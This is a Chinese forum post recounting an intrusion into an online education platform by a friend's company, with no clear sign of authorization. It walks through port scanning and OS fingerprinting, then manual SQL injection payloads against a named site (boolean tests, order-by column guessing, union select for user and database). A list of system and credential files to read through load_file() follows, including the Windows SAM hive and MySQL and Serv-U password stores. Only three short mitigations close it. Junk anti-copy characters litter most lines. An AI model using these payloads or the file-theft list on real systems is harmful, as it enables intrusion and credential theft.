找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
题记:
4 J& U7 `( A8 g4 U8 g一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
0 ~: {: f" W( k" e5 f第一步:获取需要的信息; e  j# L4 m# f  ]( U
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" c9 ^! @6 J4 s0 G  `注:以下为保护特用XXX代替敏感信息
* p# v9 {: r6 i顺手先PING了一下他们的域名:: ], ?: |/ G3 k9 j# F
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名). r$ V. Y# b4 t! B: G( H
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
: v! [$ R# m' h+ T$ a2 \! j  X顺便了解一下TTL,学好基础知识才能一路顺风:. E- l( G! Z- k, ~6 x
TTL:(Time To Live ) 生存时间
8 \4 w# K6 k$ w, j! l指定数据包被路由器丢弃之前允许通过的网段数量。8 C: z1 U2 @' A, q) `& h! q3 a# }
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。1 U- s. @2 D+ y
使用PING时涉及到的 ICMP 报文类型
) q' v# D" u0 p" C! w一个为ICMP请求回显(ICMP Echo Request), X4 x8 ~, @1 p, d9 ^& U, b
一个为ICMP回显应答(ICMP Echo Reply)
/ |+ O/ x' C0 |' A9 QTTL 字段值可以帮助我们识别操作系统类型。& T$ s( _  Y: K
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255: P3 g: O8 c/ o
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
' q  b) b; X2 W/ `0 `3 c微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128$ T- O( k: m+ ~& v# x
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
" j$ G3 i' K6 S/ q! f4 s+ ?( r7 D' d* C当然,返回的TTL值是相同的
; X* l3 q# w) \但有些情况下有所特殊
7 P3 n( g+ I. R6 n- JLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64! \! i5 u4 X, N2 g" F
FreeBSD 4.1, 4.0, 3.4;' P1 c! u8 M+ U
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;% [9 Y' x) b; O: s4 b$ f
OpenBSD 2.6, 2.7,
" o  O  i0 h  nNetBSD
8 M3 Y. q  K( \! L3 ~/ S) I# d+ nHP UX 10.20  Z* x+ z3 W: X0 ]0 ?
ICMP 回显应答的 TTL 字段值为 255
6 D' u( ?# x0 u! JWindows 95/98/98SE
) O. Y% W8 V; c3 mWindows ME$ B  K! r1 e0 V: w( Z6 _( T$ z
ICMP 回显应答的 TTL 字段值为 32
- V! A& j) j* _: C: ?+ j- qWindows NT4 WRKS
/ q# v% A1 M( D$ x, V0 KWindows NT4 Server* I5 s) K2 o) b2 e3 Z0 e5 y2 f
Windows 2000
3 {% L% e, U& kWindows XP$ i1 Y% |9 C' E2 s5 k
ICMP 回显应答的 TTL 字段值为 128
  ~* i1 i& G. ^: ^$ V8 }3 X这样,我们就可以通过这种方法来辨别操作系统& g7 u* m( W2 S- ~' t# ]: v+ f
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
  {4 H& K7 B4 Z3 ^5 {0 b; G用NMAP扫描一下:, R% O6 [9 ^/ }6 j
nmap -sT -O XXX.XXX.XXX.XXX
  U. s: `, T- x( g# [7 D( S: I! k如果没有装WinPcap则会弹出提示:9 d  J/ R$ X0 D
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
! x' o+ C. ~! W0 |2 ~4 `ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(. L$ U4 I1 }7 v# D9 Q* A0 B1 s
) mode — Nmap may not function completely
7 @- b+ k1 M% V- ^TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
+ `+ ~. k% g* n) e6 z9 D( Wand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
* \4 w+ G' B3 I0 l6 A% \4 [( \pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
& y, K4 x, Z9 o3 y' R4 a. B7 cd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
& L0 |. t. b' Y! [: O- X0 l2 persions, you may be able to take iphlpapi.dll from another system and place it i
$ J) {# B% g, x6 e8 ?3 ?6 m: Bn your system32 dir (e.g. c:\windows\system32).9 f! D. |' S$ _( g
QUITTING!
  N+ e0 e  @* g3 }8 z到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe8 I# ?5 E! T/ j
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
* W) n1 e: c- [5 o$ ~& w) z, RInteresting ports on XXX.XXX.XXX.XXX:
3 `- J$ n+ c/ U8 C2 ^0 uNot shown: 986 closed ports3 G) J0 f5 F# N: ?" `6 r% K
PORT     STATE    SERVICE0 m1 }1 }5 |, a
21/tcp   open     ftp; ~* T1 r, C+ ]2 |( x1 p. m/ T4 S% Z
22/tcp   open     ssh
& }" R  w& J9 R, p0 \0 @5 h23/tcp   open     telnet+ q+ R* J( h, ^% u9 G" n$ _
80/tcp   open     http
( m/ ?4 w& Z3 |) \( Q111/tcp  open     rpcbind
( ^! f7 F, T3 ?. \4 P# l- [- r135/tcp  filtered msrpc) N! s5 G4 P. c3 z. A
139/tcp  filtered netbios-ssn4 P2 e* _$ B# J  m3 m# n3 u; S8 c
445/tcp  filtered microsoft-ds
1 ^: }/ l" e" I1 h" T513/tcp  open     login; M' A3 ~* M! Z0 q/ M/ Y
514/tcp  open     shell
8 i( K9 y8 }) e+ d4 p, s$ B9 |593/tcp  filtered http-rpc-epmap
1 t" @* [' ?* T7 B. ~) [1 ?1720/tcp filtered H.323/Q.9314 z; Q' J0 Z# C* @1 |$ U4 G  V/ Y
3306/tcp open     mysql" q, H# i8 j2 i# G5 x" T7 C
4444/tcp filtered krb524" l( @" C2 u: H8 p9 S: d, D
Device type: WAP2 o1 i) @$ z6 v$ K9 E! }* l6 m! G
Running: Linux 2.4.X! l2 @4 P6 O" P% c& C" U+ Y0 A
OS details: DD-WRT (Linux 2.4.35s)7 j% ?3 \; W% F  [! @) U' O+ Y
Network Distance: 13 hops
* T. I; O& d6 @6 |9 V& b. b9 d( e看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:2 j9 E2 y- L; H
login as:) ]$ p; c% H: s  m, T/ d# w0 K# c  D
Telnet23端口也是开着的,用telnet 命令链接一下:; v. X6 y9 q0 g6 r' ]' d5 v
telnet XXX.XXX.XXX.XXX
. K& p! J- G0 Q0 ]0 J& \提示:+ L. j, L- j. k$ \. Z
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
9 V9 @1 {6 S$ e/ v" t6 gKernel 2.6.18-92.el5PAE on an i686
7 Z8 F" @# y' }8 z: xlogin:
! `% j: N( s$ k3 j. s; w获取HTTP头信息:5 D4 P; \8 _# ?" X3 M7 l! O$ Z6 m$ I
在本地执行如下PHP代码
) q; y; J% Y3 G7 C; h4 }$ O<?php
# q: u& s! q! r+ W" ?# }$url = ‘XXX.XXX.XXX.XXX’;
# d7 ^/ B3 _( }print_r(get_headers($url));/ |+ R) t  Y3 f2 @
print_r(get_headers($url, 1));8 e7 |9 T9 ?0 w  L. t9 Y% a) G
?>
/ F- |8 f, W  _# i4 F' V将以上代码保存为PHP文件,执行:" e+ a0 x2 n* Q/ \% S6 k
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )* n) N  r, p) Z- K
现在可以得出结论:
4 f) h2 |$ S: z& _- O) e7 O5 F系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)5 U' W9 w5 y# G5 h! ]$ G9 x
内核版本:Kernel 2.6.18-92.el5PAE on an i686
) L, N7 \9 \+ ?0 S, |) v% oWEB服务器版本:nginx/0.7.61
! c- x- ^- V: U/ [! ~$ V- g& V9 c第二步,开始测试寻找漏洞
2 ?5 @4 Y1 x6 m# t* z7 A8 e分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
$ W) q' _4 v! w  r0 o% O) s$ V1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
7 T: N2 D% q( h! Y6 X; c9 Q- G2、测试方法:在地址后加 and 1=1 和 and 1=2 测试8 R" v$ {+ O+ z* L6 I
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常" x( B# w$ b: e% p0 e* u8 A) L4 g
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
  q9 d% t& k% Y1 ]# b恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
( P# X; n. p6 n/ t2 X6 T) l3、手工注入:
/ U3 p2 R% f8 L% f! l! X8 s8 G0 _注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。1 F$ B8 T( ]4 z  C
3.1 猜测当前表字段数6 z- z' ?- N+ Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
, r4 `# t' u8 d7 L) A: i此处猜测有个简单的算法,都是有技巧的吗,呵呵! F! g9 b6 D; a& T% J/ |8 J
算法简单如下:, H6 r2 |8 c) z3 J6 i
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
0 K6 a% \2 X2 [! g, v第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;8 T9 Y! B  O! @
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。! w) y1 T  r( ^! x
以此来判断,是否过界,配合取中算法猜出字段数。, v5 q) ?$ z6 L( G* F. o9 N
举例:
. F$ [0 P3 ]" c2 Mhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常6 t+ p( I: d" M" a! p! m! Z# s- O
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误" ~: ~' ^1 ?6 f
此时3则为我们要找的字段数。
# O; G3 h7 k+ G' I2 M3.2 配合union联合查询字段在页面所位置
0 o( j; j. \+ M; G6 D7 }/ a1 n7 v我们已经知道了字段数为3,此时则可以做如下操作:7 t- h8 t9 Y/ a+ B/ I
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,38 P' z+ ]# A/ y8 n  E- j6 r  A+ t
' m8 _/ i: F, b  l4 Y
这样就可以测试到哪些字段在页面上有所显示了,如图:2 u! X" }$ y  m2 C1 M- n
+ f# K0 g9 D+ V* B
3.3 查敏感信息3 ], F9 |  q7 g$ L
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
% B& o9 v4 s- e' {8 m/ E0 Ghttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
" ]- {8 }& N- O) ~3.3.1 先查数据库用户、数据库名,以备后用,如图:( E9 H0 Q  j; z2 a
- u" c/ B4 |, Q; F" H. g8 J$ }
得到数据库用户为root、数据库名为DBxx;
8 O6 V1 D  o- A, F7 Y3.3.2 查配置文件' j! ?8 }0 x' V( `) S$ ?- x  d: [/ P' A) w
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。3 w: R% Z! w: H+ T4 [$ f
查看文件有一定的条件限制:
1 q4 H$ p/ T4 V欲读取文件必须在服务器上5 c, x9 W" i! c3 @
必须指定文件完整的路径
4 d# c3 p9 `- B) R7 N% f1 r必须有权限读取并且文件必须完全可读# u- W) |! f+ U$ E( e% h* V  x
欲读取文件必须小于 max_allowed_packet5 G$ `! t' E+ P2 S0 L4 Z
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。) k7 X' U( r) x+ A9 X: E8 U" z
常用的一些:
- x% l) ]8 f7 `9 n2 y/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
" O; J% S. E0 _3 [; m. n/usr/local/apache2/conf/httpd.conf' {; Q; N+ F( Y* z
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
! k+ W5 Z; j5 a; C7 p/usr/local/app/php5/lib/php.ini //PHP相关设置; c! \/ n1 E2 F$ B4 `5 @- h
/etc/sysconfig/iptables //从中得到防火墙规则策略
6 d& T* W1 y1 ?8 N# U4 O/etc/httpd/conf/httpd.conf // apache配置文件4 k! [# r' d) F7 u* C( j* z
/etc/rsyncd.conf //同步程序配置文件
  H& j" h  S5 i1 K# e/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.8 v" j" X9 j2 |" k. I, Y
/etc/my.cnf //mysql的配置文件
, g% G* Y. y  b8 n- Y/ m/etc/redhat-release //系统版本4 b1 m; G2 V* p. F
/etc/issue$ H. \' S. M( o5 E; ]
/etc/issue.net
# S7 r; a, K2 v% I9 T, f( h/ Dc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
9 S( Q  |2 D) B9 D0 n+ Rc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码: e8 c. t4 M4 X: e  K* R. {
c:\Program Files\Serv-U\ServUDaemon.ini
2 L8 U9 n, e2 @! Y* ^c:\windows\my.ini //MYSQL配置文件, V  W6 _9 y' d8 p
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件: N" M  A; e# M6 X: H6 p$ `# S4 k* T
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,% B1 H" Z7 k# N- W3 U" D* o
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码1 O) n! G( s, M  z; ~! S
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此/ M2 ]0 D; P2 ~6 j8 u. ~% p* z* I% ~5 r
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
, J/ I6 I* }" [4 [C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件6 k, H# M# b( A$ v, r
//存储了pcAnywhere的登陆密码
+ f" y: Y3 e% o由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
/ P8 x; D9 f# Z) O1 a( O7 n这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。% t% q) ?6 R; {3 I3 D
最后:防范措施) Z( l0 N7 b0 Q+ H: R" H: c, g) G' y
1、修复PHP注入漏洞;
, L; \9 ^9 |7 ?# z: a" l2、Mysql使用普通权限的用户;
6 m  p) z# M  C: n7 J9 ]  I$ u3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表